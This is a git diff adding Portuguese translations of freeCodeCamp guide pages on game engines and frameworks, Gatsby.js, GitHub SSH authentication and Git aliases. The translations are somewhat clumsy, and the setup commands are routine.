+*   \[YoYo Games (publisher)\] https://www.yoyogames.com/gamemaker
+*   \[GameMaker: Studio | Documentação\] https://docs.yoyogames.com/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/godot/index.md b/client/src/guide/portuguese/game-development/godot/index.md
new file mode 100644
index 0000000000..b7fe4e6ae0
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/godot/index.md
@@ -0,0 +1,11 @@
+---
+title: Godot Engine
+localeTitle: Motor Godot
+---
+## Motor Godot
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/godot/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/godot/scripting/index.md b/client/src/guide/portuguese/game-development/godot/scripting/index.md
new file mode 100644
index 0000000000..b9d4c91f4b
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/godot/scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Godot Scripting
+localeTitle: Godot Scripting
+---
+## Godot Scripting
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/godot/scripting/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/index.md b/client/src/guide/portuguese/game-development/index.md
new file mode 100644
index 0000000000..a1b5de0443
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/index.md
@@ -0,0 +1,61 @@
+---
+title: Game Development
+localeTitle: Desenvolvimento de jogos
+---
+## Desenvolvimento de jogos
+
+O Game Development é a arte de criar jogos e descreve o design, desenvolvimento e lançamento de um jogo. Pode envolver geração de conceitos, design, criação, teste e lançamento. Enquanto você cria um jogo, é importante pensar na mecânica do jogo, recompensas, engajamento do jogador e nível de design.
+
+Um desenvolvedor de jogos pode ser um programador, um designer de som, um artista, um designer ou muitas outras funções disponíveis na indústria.
+
+O desenvolvimento de jogos pode ser realizado por um grande Game Development Studio ou por um único indivíduo. Pode ser tão pequeno ou grande quanto você quiser. Desde que deixe o jogador interagir com o conteúdo e seja capaz de manipular os elementos do jogo, você pode chamá-lo de 'jogo'.
+
+Para se envolver no processo de desenvolvimento de jogos, você não precisa escrever código. Os artistas podem criar e projetar ativos, enquanto um desenvolvedor pode se concentrar em programar uma barra de saúde. Um Testador pode se envolver para ver se o jogo funciona como esperado.
+
+![What first games looked like](https://i.ytimg.com/vi/ePc12V6F0ws/maxresdefault.jpg "O que os primeiros jogos pareciam")
+
+Para resolver problemas que os frameworks de jogos tinham, ferramentas como libGDX e OpenGL foram desenvolvidas. Eles ajudaram o desenvolvimento de jogos a ser muito mais rápido e fácil, fornecendo muitas funções e recursos pré-fabricados. No entanto, ainda era difícil entrar na indústria ou entender um framework para alguém vindo de um histórico não programador, um caso comum na cena de desenvolvimento de jogos.
+
+![3D map editor made with OpenGL](https://i.ytimg.com/vi/E0laTeycpB4/maxresdefault.jpg "Editor de mapa 3D feito com OpenGL")
+
+Foi quando os mecanismos de jogo como Construct, Game Maker, Unity e Unreal foram desenvolvidos. Geralmente, um mecanismo tem tudo que um framework tinha, mas com uma abordagem mais amigável usando uma interface gráfica de usuário (GUI) e ajudando com o desenvolvimento gráfico do jogo.
+
+Em alguns casos, como Game Maker e Construct, a quantidade de funções pré-criadas é tão grande que pessoas sem habilidades de programação anteriores poderiam construir um jogo do zero, realmente expandindo a cena e tornando o desenvolvimento do jogo acessível para quase todos.
+
+### Motores de jogo
+
+![Unity development screen](http://paulbourke.net/stereographics/Unitystereo/textureplanes.jpg "Tela de desenvolvimento de unidade")
+
+Muitos desenvolvedores optam por desenvolver um jogo usando um mecanismo de desenvolvimento de jogos.
+
+Os Game Engines podem tornar o processo de criação de um jogo muito mais fácil e permitir que os desenvolvedores reutilizem muitas funcionalidades. Também cuida da renderização para gráficos 2D e 3D, detecção de física e colisão, som, scripts e muito mais.
+
+Alguns Game Engines têm uma curva de aprendizagem muito íngreme, como o CryEngine ou o Unreal Engine. No entanto, outras ferramentas são muito acessíveis para iniciantes e algumas nem precisam que você seja capaz de escrever código para criar seu jogo, por exemplo, Construir 2.
+
+O Unity Game Engine varia em algum lugar no meio, enquanto é iniciante amigável, alguns jogos populares e comerciais foram construídos usando Unity (por exemplo, Overcooked, Superhot).
+
+O mecanismo de jogo BuildBox é basicamente para desenvolver jogos hipercuais.
+
+### Motores de Jogo Típicos
+
+*   CryEngine
+*   Motor Unreal
+*   Unity Game Engine
+*   Criador de jogos
+*   Construir 2 ou 3
+*   Guita
+*   Fonte
+*   Geladura
+*   Buildbox
+
+### Mais Informações
+
+*   [Impressionante lista de recursos GameDev](https://github.com/Kavex/GameDev-Resources)
+*   [Livros de programação de jogos](http://www.fromdev.com/2013/07/game-development-books.html)
+*   [framework libGDX](https://libgdx.badlogicgames.com/)
+*   [Framework OpenGL](https://www.opengl.org/)
+*   [Construir o mecanismo de jogo](https://www.scirra.com/)
+*   [Mecanismo do Game Maker](https://www.yoyogames.com/gamemaker)
+*   [Unity3D Engine](https://unity3d.com/pt)
+*   [Motor Unreal](https://www.unrealengine.com/en-US/what-is-unreal-engine-4)
+*   [BuildBox](https://www.buildbox.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/libgdx/index.md b/client/src/guide/portuguese/game-development/libgdx/index.md
new file mode 100644
index 0000000000..9dae8d3dd7
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/libgdx/index.md
@@ -0,0 +1,15 @@
+---
+title: libGDX
+localeTitle: libGDX
+---
+## Desenvolvimento de Jogos com libGDX
+
+libGDX é uma estrutura de aplicativo de desenvolvimento de jogos gratuita e de código aberto escrita na linguagem de programação Java com alguns componentes C e C ++ para código dependente de desempenho.
+
+### Visão geral
+
+O LibGDX suporta o desenvolvimento de jogos em 2D e 3D e está escrito em Java. Além do Java, outras linguagens da JVM, como Kotlin ou Scala, podem ser usadas para programar jogos da libGDX. Basicamente, o libGDX usa o LWJGL 3 para lidar com funções básicas do jogo, como gráficos, entrada e áudio. O LibGDX oferece uma grande API para simplificar a programação de jogos. O LibGDX tem um [wiki](https://github.com/libgdx/libgdx/wiki) informativo na sua página do Github, e há muitos tutoriais na internet.
+
+#### Recursos:
+
+https://github.com/libgdx/libgdx/wiki https://libgdx.badlogicgames.com/ https://www.reddit.com/r/libgdx/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/minecraft-forge/index.md b/client/src/guide/portuguese/game-development/minecraft-forge/index.md
new file mode 100644
index 0000000000..5f2f8d437b
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/minecraft-forge/index.md
@@ -0,0 +1,58 @@
+---
+title: What is Minecraft Forge?
+localeTitle: O que é o Minecraft Forge?
+---
+Se você está lendo este artigo, provavelmente já conhece o Minecraft. Usamos o Forge para manipular o jogo Minecraft para fazer o que queremos. Isso pode ser qualquer coisa, desde novas criaturas legais até novos sistemas inteiros no jogo.
+
+Forge é uma API modding. O Minecraft Forge (ou Forge for short) é uma camada entre o nosso código e o próprio Minecraft. Não podemos pedir diretamente ao Minecraft para adicionar itens e fazer coisas legais especiais. É por isso que precisamos de uma API (interface de programação de aplicativos) para lidar com nossa lógica e fazer com que o Minecraft a reconheça.
+
+## Parece legal! Como eu começo?
+
+*   Você precisará do JDK (Java development kit), que é um conjunto de bibliotecas, ferramentas e o ambiente de tempo de execução para criar programas Java e executá-los.
+*   Uma conta Minecraft que pode ser comprada em seu site oficial. (https://minecraft.net/pt-br/store/)
+*   Um IDE (Eclipe ou IntelliJ são recomendados para desenvolvimento de Minecraft)
+
+Depois de instalar / adquirir estes softwares, baixe a versão desejada do Forge em https://files.minecraftforge.net/ ( _DICA:_ Passe o mouse sobre o botão de informações e pressione o download direto para evitar um vírus da Adfly!) Depois de baixar este ZIP, você poderá descompactá-lo. Faça isso e cd (comando cmd) no diretório com todos os arquivos do Forge. Executar `gradlew setupDecompWorkspace`
+
+O próximo passo é escolher o seu IDE (ambiente de desenvolvimento integrado). Eclipse? `gradlew eclipse` IntelliJ? Importe o arquivo build.gradle na sua configuração do IntelliJ!
+
+## Ok, agora o que? Como adiciono novos itens extravagantes? (Configuração básica do mod)
+
+Segure seus cavalos. Há muito mais nisso. Você terá que texturizar um item, claro, adicionar código e muito mais! Neste artigo, vamos ver apenas alguns códigos de exemplo simples que eu também uso para meus próprios mods. Aqui está!
+
+\` @ Mod.EventBusSubscriber @Mod (modid = Version.MOD _ID, nome = Version.MOD_ NAME, version = Version.VERSION) classe pública TheMod {
+```
+public static ModMetadata metadata; 
+ 
+ public static File baseDir; 
+ public static Configuration config; 
+ 
+ @SidedProxy(clientSide="com.ciphry.client.ClientProxy", serverSide="com.ciphry.common.CommonProxy") 
+ public static CommonProxy proxy; 
+ 
+ @Mod.EventHandler 
+ public void preInit(FMLPreInitializationEvent event) { 
+    proxy.preInit(event); 
+ 
+    baseDir = new File(event.getModConfigurationDirectory(), MOD_ID); 
+    config = new Configuration(event.getSuggestedConfigurationFile()); 
+ 
+    if (!baseDir.exists()) 
+        baseDir.mkdir(); 
+ } 
+ 
+ @Mod.EventHandler 
+ public void init(FMLInitializationEvent event) { 
+    proxy.init(event); 
+ 
+ } 
+ 
+ @Mod.EventHandler 
+ public void postInit(FMLPostInitializationEvent event) { 
+    proxy.postInit(event); 
+ } 
+```
+
+} \`
+
+Use este código como quiser, certifique-se de editar, por exemplo, as strings de proxy e mais! Isso deve fornecer uma visão geral básica de como é uma classe básica de mod.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/opengl/index.md b/client/src/guide/portuguese/game-development/opengl/index.md
new file mode 100644
index 0000000000..eb43e7f626
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/opengl/index.md
@@ -0,0 +1,27 @@
+---
+title: OpenGL
+localeTitle: OpenGL
+---
+## Desenvolvimento de Jogos com OpenGL
+
+A Open Graphics Library (OpenGL) é uma interface de programação de aplicativos (API) entre linguagens e plataformas para a renderização de gráficos vetoriais em 2D e 3D. A API é normalmente usada para interagir com uma unidade de processamento gráfico (GPU), para obter uma renderização acelerada por hardware.
+
+A Silicon Graphics Inc. (SGI) começou a desenvolver o OpenGL em 1991 e lançou-o em janeiro de 1992; os aplicativos usam-no extensivamente nos campos de desenho auxiliado por computador (CAD), realidade virtual, visualização científica, visualização de informação, simulação de voo e videogames. Desde 2006, o OpenGL é administrado pelo consórcio de tecnologia sem fins lucrativos Khronos Group.
+
+## Implementações
+
+O Mesa 3D é uma implementação de código aberto do OpenGL. Ele pode fazer renderização de software pura e também pode usar aceleração de hardware em BSD, Linux e outras plataformas, aproveitando a Infraestrutura de Renderização Direta. A partir da versão 13.0, implementa a versão 4.5 do padrão OpenGL.
+
+## Pré-requisitos
+
+Nenhum pré-requisito especial é necessário para seguir a maioria dos tutoriais. Experiência com qualquer linguagem de programação (C, Java, Lisp, Javascript) é melhor para entender completamente o código, mas não é necessário; será simplesmente mais complicado aprender duas coisas ao mesmo tempo.
+
+## Instalando o OpenGL no Linux
+
+Mesa é a biblioteca GL usada. O Ubuntu 16.04 inclui o Mesa 11.2, que suporta o OpenGL 4.1. Basta instalar os `libgl1-mesa-dev` e `mesa-common-dev` para instalar os arquivos de desenvolvimento para ele.
+
+Se você realmente precisa do 4.5, provavelmente precisará desenvolver-se contra os drivers AMD ou NVidia propreitários, e precisará de um cartão que realmente suporte o 4.5 para executar qualquer software que você criar usando essa versão da API.
+
+#### Mais Informações:
+
+[Wiki do OpenGL](https://en.wikipedia.org/wiki/OpenGL) [Tutoriais OpenGL](http://www.opengl-tutorial.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/phaser/index.md b/client/src/guide/portuguese/game-development/phaser/index.md
new file mode 100644
index 0000000000..c9afaa8bb7
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/phaser/index.md
@@ -0,0 +1,15 @@
+---
+title: Phaser
+localeTitle: Phaser
+---
+## Phaser
+
+O Phaser é uma estrutura de software livre para desenvolvimento de jogos HTML5 para computadores e dispositivos móveis.
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/game-development/phaser/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Tutoriais oficiais da Phaser](https://phaser.io/learn)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/pygame/index.md b/client/src/guide/portuguese/game-development/pygame/index.md
new file mode 100644
index 0000000000..ef0b5b3cce
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/pygame/index.md
@@ -0,0 +1,15 @@
+---
+title: Pygame
+localeTitle: Pygame
+---
+## Pygame
+
+### Desenvolvimento de Jogos com Pygame
+
+Pygame é uma biblioteca python de plataforma aberta, usada para desenvolvimento de jogos, escrita por Pete Shinners. A documentação do Pygame e mais informações podem ser encontradas em seu site em https://pygame.org.
+
+### Visão geral
+
+O projeto começou no ano 2000 como resultado da morte do PySDL. A versão 1.0 da biblioteca Pygame foi lançado após seis meses de desenvolvimento em abril de 2001.
+
+*   [Site oficial do PyGame](https://www.pygame.org)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/terasology/index.md b/client/src/guide/portuguese/game-development/terasology/index.md
new file mode 100644
index 0000000000..8bd69fc5a6
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/terasology/index.md
@@ -0,0 +1,21 @@
+---
+title: Terasology
+localeTitle: Terasology
+---
+Um jogo de sandbox de código aberto voxel!
+
+> O projeto Terasology nasceu de uma demonstração tecnológica inspirada no Minecraft e está se tornando uma plataforma estável para vários tipos de configurações de jogo em um mundo voxel. Os criadores e mantenedores são um mix diversificado de desenvolvedores de software, designers, testadores de jogos, artistas gráficos e músicos. Encorajamos os outros a participarem!
+
+Fonte: http://terasology.org/
+
+Terasology é uma plataforma de código aberto para jogabilidade de qualquer tipo em um mundo voxel. Se você ler essa frase atentamente, você pode ver que eu não usei a palavra 'Game'. A razão por trás disso é o fato de que Terasology em si não é um jogo acabado! É apenas uma plataforma para você se modificar com seu próprio código ou módulos pré-fabricados. Não se preocupe, existem vários módulos constantemente desenvolvidos pela equipe multidisciplinar.
+
+### O espírito do código aberto
+
+Outro aspecto muito legal deste jogo é o fato de que a MovingBlocks (a organização por trás da Terasology) participa de grandes eventos como o GCI (Google Code-In), o GSOC (Google Summer of Code) e muito mais! Isso torna o ambiente especialmente animado e realmente fortalece o espírito de comunidade. Este não é um produto aleatório feito por uma multinacional gananciosa, é o trabalho de uma equipe. Uma equipe com uma paixão.
+
+### Como posso contribuir?
+
+Você também pode contribuir! Confira o repositório aqui no GitHub e comece a invadir o código! Certifique-se de formatar tudo corretamente, use código claro e siga todas as convenções específicas do repositório! https://github.com/MovingBlocks/Terasology/wiki
+
+Muitas imagens, conteúdo, blogs e muito mais podem ser visualizadas em seu site em http://terasology.org/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/unity/index.md b/client/src/guide/portuguese/game-development/unity/index.md
new file mode 100644
index 0000000000..b07c73fa2f
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/unity/index.md
@@ -0,0 +1,56 @@
+---
+title: Unity
+localeTitle: Unidade
+---
+## Desenvolvimento de Jogos com Unity
+
+O Unity é um mecanismo de jogo multiplataforma desenvolvido pela Unity Technologies, que é usado principalmente para desenvolver jogos de vídeo e simulações para computadores, consoles e dispositivos móveis. Inicialmente anunciado apenas para o OS X, na Worldwide Developers Conference da Apple em 2005, ele foi estendido para 27 plataformas.
+
+## Visão geral
+
+O Unity é um mecanismo de jogo para todos os propósitos que suporta gráficos 2D e 3D, recursos de arrastar e soltar e scripts por meio do [C #](https://guide.freecodecamp.org/csharp) .
+
+O Unity é particularmente popular para o desenvolvimento de jogos para dispositivos móveis e grande parte do foco deles é em plataformas móveis. O pipeline 2D do Unity3D é uma adição mais recente ao mecanismo e é menos maduro que o pipeline 3D. Apesar disso, o Unity é uma plataforma confiável para o desenvolvimento de jogos 2D, mesmo quando comparado a outros mecanismos 2D dedicados, especialmente se você planeja lançar o jogo em vários dispositivos móveis.
+
+O Unity também é uma boa escolha para o desenvolvimento de RV, embora o VR seja um mercado muito pequeno no momento. Os mercados de dispositivos móveis e de PSVR são os maiores em realidade virtual, e a Unity já está bem posicionada para portar jogos para várias plataformas, como PS4 e PC, ou para diversos mercados móveis.
+
+O mecanismo tem como alvo as seguintes APIs gráficas: Direct3D no Windows e Xbox One; OpenGL no Linux, macOS e Windows; OpenGL ES no Android e iOS; WebGL na web; e APIs proprietárias nos consoles de videogame.
+
+Além disso, o Unity suporta as APIs de baixo nível Metal no iOS e MacOS e Vulkan no Android, Linux e Windows, além do Direct3D 12 no Windows e no Xbox One. Nos jogos 2D, o Unity permite a importação de sprites e um avançado renderizador 2D mundial.
+
+Para jogos 3D, o Unity permite especificar configurações de compressão e resolução de textura para cada plataforma suportada pelo mecanismo de jogo e fornece suporte para mapeamento de reflexos, mapeamento de reflexões, mapeamento de paralaxe, oclusão de ambiente de espaço de tela (SSAO), sombras dinâmicas usando mapas de sombra -to-textura e efeitos de pós-processamento em tela cheia.
+
+A Unity também oferece serviços para desenvolvedores, como: Unity Ads, Unity Analytics, Unity, Unity Cloud, Unity Everyplay, Unity, Unity Multiplayer, Unity Performance Reporting e Unity Collaborate. Além disso, o Unity tem uma loja de ativos onde a comunidade de desenvolvedores pode fazer o download e upload de recursos comerciais e gratuitos de terceiros, como texturas, modelos, plugins, extensões de editor e até mesmo exemplos de jogos inteiros.
+
+Unity é notável por sua capacidade de direcionar jogos para várias plataformas. As plataformas atualmente suportadas são Android, Android TV, Gameroom, Fire OS, Gear VR, Google Cardboard, Google Daydream, HTC Vive, iOS, Linux, macOS, Microsoft HoloLens, família Nintendo 3DS, Nintendo Switch, Oculus Rift, PlayStation 4, PlayStation Vita, PlayStation VR, Smart TV da Samsung, Tizen, tvOS, WebGL, Wii U, Windows, Windows Phone, Windows Store e Xbox One.
+
+Unity é o kit de desenvolvimento de software padrão (SDK) para a plataforma de videogame Wii U, da Nintendo, com uma cópia gratuita incluída pela Nintendo com cada licença de desenvolvedor do Wii U. A Unity Technologies considera esse agrupamento de um SDK de terceiros como "o primeiro da indústria".
+
+## Interface
+
+![Interface Unity](https://github.com/pawelszpiczakowski/PublicStuff/raw/master/unityInterface.png)
+
+Na foto acima, você notará cinco seções: 1) Seção 1. **Scene View** : Isto é onde você estará criando nível para o seu jogo, cena ou projeto 3D. Todos os seus Objetos do Jogo serão colocados e manipulados aqui. 2) Seção 2. **Modo de Exibição do Jogo** : É onde você verá seus resultados, como seu nível ou cena se parece. Você precisa ter uma câmera na cena para ver como ela se parece. Às vezes é chamado Camera View. 3) Seção 3. **Hierarquia** : Esta janela exibirá todos os Objetos do Jogo colocados diretamente na cena. Basicamente tudo o que você vê na Game View, precisa ser listado aqui. Isso incluirá objetos de jogo não visuais e visuais. 4) Seção 4. **Projeto** : Esta é a janela do seu projeto. Basicamente, mostra o que está dentro da pasta Assets no seu disco. Tudo a partir de objetos do jogo, scripts, texturas, pastas, modelos, áudio, vídeo e etc ... será acessível a partir desta janela. 5) Seção 5. **Inspetor** : Este painel exibirá diferentes atributos e propriedades dos Objetos de Jogo selecionados. Dependendo da seleção, os atributos e componentes apropriados serão listados.
+
+## Jogos Notáveis:
+
+*   Assassin's Creed: Identity
+*   Trilogia de Temple Run
+*   Battlestar Galactica Online
+*   Hearthstone: Heróis de Warcraft
+*   Dentro
+*   Cuphead
+
+## História
+
+Duas outras linguagens de programação foram suportadas: Boo, que foi preterido com o lançamento do Unity 5 e do UnityScript, que foi suspenso em agosto de 2017 após o lançamento do Unity 2017.1.
+
+Anteriormente, o Unity suportava sete outras plataformas, incluindo seu próprio Unity Web Player.
+
+O Unity Web Player era um plug-in de navegador que era suportado apenas no Windows e no OS X, que foi substituído em favor do WebGL.
+
+Unity é o mecanismo usado pelo Rust, Kerbal Space Program e Cup Head.
+
+#### Mais Informações:
+
+[Site Oficial da Unity](https://unity3d.com/) [Wikipedia](https://en.wikipedia.org/wiki/Unity_(game_engine)) [Tutoriais oficiais da unidade](https://unity3d.com/learn)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/unreal-engine/index.md b/client/src/guide/portuguese/game-development/unreal-engine/index.md
new file mode 100644
index 0000000000..6073213e30
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/unreal-engine/index.md
@@ -0,0 +1,37 @@
+---
+title: Unreal Engine
+localeTitle: Motor Unreal
+---
+## Desenvolvimento de Jogos com Unreal Engine
+
+Unreal Engine é um motor de jogo multi-plataforma desenvolvido pela Epic Games. O Unreal Engine foi inicialmente desenvolvido para o título Unreal de 1998, mas foi posteriormente usado para muitos milhares de títulos comerciais e não comerciais. A versão mais recente do mecanismo, Unreal Engine 4, tem como alvo PC, PlayStation 4, Xbox One, Mac OS X, iOS, Android, muitos sistemas VR, Linux, SteamOS e HTML5, e o editor pode ser executado no Windows, OS X e Linux.
+
+UsScript é a linguagem de script nativa do mecanismo, usada para criar códigos de jogo e eventos de jogo antes do lançamento do Unreal Engine 4, e foi projetada para programação de alto nível. O roteiro foi escrito e programado por Tim Sweeney, também criador de outra linguagem de script, ZZT-oop.
+
+Desde 2015, o Unreal Engine está livre para usar, com a Epic cobrando royalties de 5% sobre as vendas de títulos produzidos usando o mecanismo. A Epic disponibiliza a maioria de sua base de códigos livremente através de seu Github, embora a fonte para plataformas fechadas, como o Playstation 4 e o Xbox One, esteja disponível apenas para desenvolvedores de plataformas registradas.
+
+### Versões Unreal
+
+O Unreal passou por quatro grandes revisões. Embora algum código seja comum entre releases, cada versão principal é um mecanismo separado e os projetos não podem ser movidos entre eles. Dentro de cada versão principal do mecanismo, existem várias versões secundárias.
+
+*   Unreal Engine 1 Lançado em 1998 e direcionado para Windows PC, Linux, Mac, PlayStation 2 e Dreamcast. O mecanismo foi escrito em C ++ e facilmente modificável usando a linguagem Unreal Script.
+    
+*   Unreal Engine 2 Lançado em 2002 e direcionado para Windows PC, Linux, Mac, Playstation 2 e Xbox. O mecanismo foi escrito em C ++, utilizou a linguagem Unreal Script.
+    
+*   Unreal Engine 3 Lançado em 2004 e voltado para Windows PC, Linux, Mac, iOS, Playstation 3 e Xbox 360. O desenvolvimento é dividido entre Unreal Script e C ++, com uma interface de script visual adicional chamada Kismet.
+    
+*   Unreal Engine 4 Lançado em 2015 e segmentado para PC, PlayStation 4, Xbox One, Mac OS X, iOS, Android, muitos sistemas de RV, Linux, SteamOS e HTML5, e o editor pode ser executado no Windows, OS X e Linux. O Unreal Script foi removido e substituído por módulos C ++ recarregados dinamicamente e por uma interface de script visual mais avançada chamada Blueprints.
+    
+
+### Jogos populares feitos em Unreal
+
+*   cidade de Arkham do Batman
+*   Efeito em massa
+*   Bioshock
+*   Borderlands
+*   Engrenagens da guerra
+
+#### Mais Informações:
+
+[www.UnrealEngine.com](https://www.unrealengine.com/)  
+[www.EpicGames.com](https://github.com/EpicGames)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/gatsbyjs/index.md b/client/src/guide/portuguese/gatsbyjs/index.md
new file mode 100644
index 0000000000..7edba74782
--- /dev/null
+++ b/client/src/guide/portuguese/gatsbyjs/index.md
@@ -0,0 +1,22 @@
+---
+title: Gatsby.js
+localeTitle: Gatsby.js
+---
+## Gatsby.js
+
+O Gatsby é um gerador de site estático para o [React](https://guide.freecodecamp.org/react) , desenvolvido pela [GraphQL](https://graphql.org/) .
+
+O ambiente Gatsby fornece vários "iniciadores" para ajudar a configurar sites estáticos rapidamente. Entradas podem ser encontradas aqui: [Starter Library](https://www.gatsbyjs.org/starters/) .
+
+### Instalação e uso da CLI do Gatsby
+
+*   Nó: `npm install --global gatsby-cli`
+*   Comece com o inicial oficial do Gatsby: `gatsby new gatsby-site https://github.com/gatsbyjs/gatsby-starter-default`
+*   Depois dessa mudança para o diretório recém criado `cd gatsby-site`
+*   `gatsby develop` inicia um servidor de desenvolvimento de hot-reloading. O site será recarregado quando as alterações nas `src/pages` serão salvas.
+*   Para gerar as páginas HTML estáticas, use o `gatsby build`
+*   `gatsby serve` iniciará um servidor local que apresentará seu site criado.
+
+#### Mais Informações:
+
+Para tutoriais e mais informações, confira o site oficial do [Gatsby.js](https://www.gatsbyjs.org/tutorial/) : [Site oficial do Gatsby.js](https://www.gatsbyjs.org/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/authenticate-with-github-using-ssh/index.md b/client/src/guide/portuguese/git/authenticate-with-github-using-ssh/index.md
new file mode 100644
index 0000000000..3c01ffb170
--- /dev/null
+++ b/client/src/guide/portuguese/git/authenticate-with-github-using-ssh/index.md
@@ -0,0 +1,61 @@
+---
+title: How to authenticate with GitHub using SSH
+localeTitle: Como autenticar com o GitHub usando o SSH
+---
+# Como autenticar com o GitHub usando o SSH
+
+Verifique se não há arquivos `rsa` aqui antes de continuar, use:
+
+```shell
+ls -al ~/.ssh 
+```
+
+Se não houver nada para listar (ou seja, `: No such file or directory` ), use:
+
+```shell
+mkdir $HOME/.ssh 
+```
+
+Se não houver nada, então gere um novo keygen com:
+
+```shell
+ssh-keygen -t rsa -b 4096 -C your@email.com 
+```
+
+Agora usando `ls -al ~/.ssh` mostrará nosso arquivo `id_rsa.pub` .
+
+Adicione a chave SSH ao agente SSH:
+
+```shell
+eval "$(ssh-agent -s)" # for mac and Linux from bash 
+```
+
+```shell
+eval `ssh-agent -s` 
+ ssh-agent -s # for Windows 
+```
+
+Adicione a chave RSA ao SHH com:
+
+```shell
+ssh-add ~/.ssh/id_rsa 
+```
+
+Copie sua chave para a área de transferência
+
+```shell
+clip < ~/.ssh/id_rsa.pub # Windows 
+```
+
+```shell
+cat ~/.ssh/id_rsa.pub # Linux 
+```
+
+Vá para a página de [configurações do](https://github.com/settings/keys) GitHub e clique no botão 'Nova chave SSH' e cole na chave gerada.
+
+Então autentique com:
+
+```shell
+ssh -T git@github.com 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/difference-git-github/index.md b/client/src/guide/portuguese/git/difference-git-github/index.md
new file mode 100644
index 0000000000..ad145bab21
--- /dev/null
+++ b/client/src/guide/portuguese/git/difference-git-github/index.md
@@ -0,0 +1,23 @@
+---
+title: Difference between Git and GitHub
+localeTitle: Diferença entre o Git e o GitHub
+---
+## Diferença entre o Git e o GitHub
+
+Git e Github são duas coisas diferentes. [O Git](https://git-scm.com/) é o [sistema de controle de versão](https://en.wikipedia.org/wiki/Version_control) , enquanto o [GitHub](https://github.com/) é um serviço para hospedar Git repos e ajudar as pessoas a colaborarem na criação de software. No entanto, eles são muitas vezes confundidos por causa de seu nome semelhante, devido ao fato de que o GitHub se baseia no Git e porque muitos sites e artigos não fazem a diferença entre eles.
+
+![Git não é o GitHub](https://i.imgur.com/EkjwJdr.png)
+
+### Git
+
+Git é o sistema de controle de versão distribuído. O Git é responsável por acompanhar as alterações no conteúdo - geralmente arquivos de código-fonte.
+
+Para mais informações, há um [artigo completo sobre o próprio Git](https://guide.freecodecamp.org/git) .
+
+### GitHub
+
+O GitHub é uma empresa que fornece hospedagem de repositório Git. Isso significa que eles fornecem uma solução turnkey para hospedar repositórios Git em seus servidores. Isso pode ser útil para manter um backup do seu repositório (o Git apenas rastreia as alterações feitas nos arquivos ao longo do tempo, o repositório ainda precisa ser armazenado em backup) e ter um local centralizado para manter e compartilhar seu código com outras pessoas.
+
+Mais do que apenas um serviço de hospedagem de repositório Git, o GitHub é uma [forja de software](https://en.wikipedia.org/wiki/Forge_(software)) . Isso significa que também fornece um [rastreador de problemas](https://en.wikipedia.org/wiki/Issue_tracking_system) , ferramentas para [revisão de código](https://en.wikipedia.org/wiki/Code_review) e outras ferramentas para colaboração com outras pessoas e criação de software.
+
+O GitHub não é o único a fornecer esse tipo de serviço. Um de seus principais concorrentes é o [GitLab](https://gitlab.com) . Para mais sobre isso, veja o [artigo sobre hospedagem Git](https://guide.freecodecamp.org/git/git-hosting) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/git/git-alias/index.md b/client/src/guide/portuguese/git/git-alias/index.md
new file mode 100644
index 0000000000..ff65f15817
--- /dev/null
+++ b/client/src/guide/portuguese/git/git-alias/index.md
@@ -0,0 +1,73 @@
+---
+title: Git Aliases
+localeTitle: Aliases do Git
+---
+## Alias ​​do Git
+
+O Git não infere seu comando automaticamente se você o digitar parcialmente. Se você não quiser digitar o texto inteiro de cada um dos comandos do Git, você pode facilmente configurar um alias para cada comando usando git config. Aqui estão alguns exemplos que você pode querer configurar:
+
+```shell
+$ git config --global alias.co checkout 
+ $ git config --global alias.br branch 
+ $ git config --global alias.ci commit 
+ $ git config --global alias.st status 
+```
+
+Isto significa que, por exemplo, em vez de digitar git commit, você só precisa digitar git ci. Ao continuar usando o Git, você provavelmente usará outros comandos com frequência também; Não hesite em criar novos aliases.
+
+Essa técnica também pode ser muito útil na criação de comandos que você acha que deveria existir. Por exemplo, para corrigir o problema de usabilidade que você encontrou ao desassociar um arquivo, você pode adicionar seu próprio alias unstage ao Git:
+
+```shell
+$ git config --global alias.unstage 'reset HEAD --' 
+```
+
+Isso torna os dois comandos seguintes equivalentes:
+
+```shell
+$ git unstage fileA 
+ $ git reset HEAD fileA 
+```
+
+Isso parece um pouco mais claro. Também é comum adicionar um último comando, como este:
+
+```shell
+$ git config --global alias.last 'log -1 HEAD' 
+```
+
